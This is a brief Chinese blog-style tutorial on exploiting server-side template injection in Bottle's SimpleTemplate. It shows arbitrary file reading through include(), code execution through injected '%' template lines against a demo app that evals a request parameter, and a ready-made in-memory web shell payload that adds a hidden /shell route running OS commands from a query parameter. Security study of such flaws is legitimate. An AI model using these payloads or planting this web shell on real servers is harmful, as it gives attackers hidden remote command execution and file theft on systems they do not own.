SimpleTemplate

SimpleTemplate是bollte框架下的一款模板渲染引擎其内置了相当多的函数,也有一些不同于jinja2的trick如下

include 文件读取

这个函数我们从介绍可以发现其是导入一个子模板,并将结果导入模板,虽然他的官方文档写的是

py
1
2
3
% include('header.tpl', title='Page Title')
Page Content
% include('footer.tpl')

但是其并没用对导入的模板文件进行检测,所以当我们输入{{include(app.py)}}就可以进行任意文件读取,好像只有web目录

% 与<%

Bollte的模板是SimpleTemplate 模板引擎,里面有一个挺有趣的操作就是<%%>与%,我们可以利用上面的来执行python代码。

这样我们再SSTI时就会有很多的操作。

像如下demo。

py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from bottle import template, Bottle,request,error

app = Bottle()
@error(404)
@app.route('/memshell')
def index():
result = eval(request.params.get('cmd'))
return template('Hello {{result}}, how are you?',result)

@app.route('/')
def index():
return 'Hello world'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888,debug=True)

当我们传入的值为%0A% print(1)%0A
可以发现终端成功输出1

剩下的怎么执行命令我就不赘述了

内存马的挖掘

首先我先给出一篇https://forum.butian.net/share/4048

上面的这篇文章已经很详细的给出了挖掘的一些内存马,所以我们只要简单的修改即可

像下面这样

plaintext
1
2
3
4
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())

因为我们执行的是任意py代码所以我们能做到的不只是普通的内存吗,还可以做到请求头回显,以及404,500等硬编码的错误回显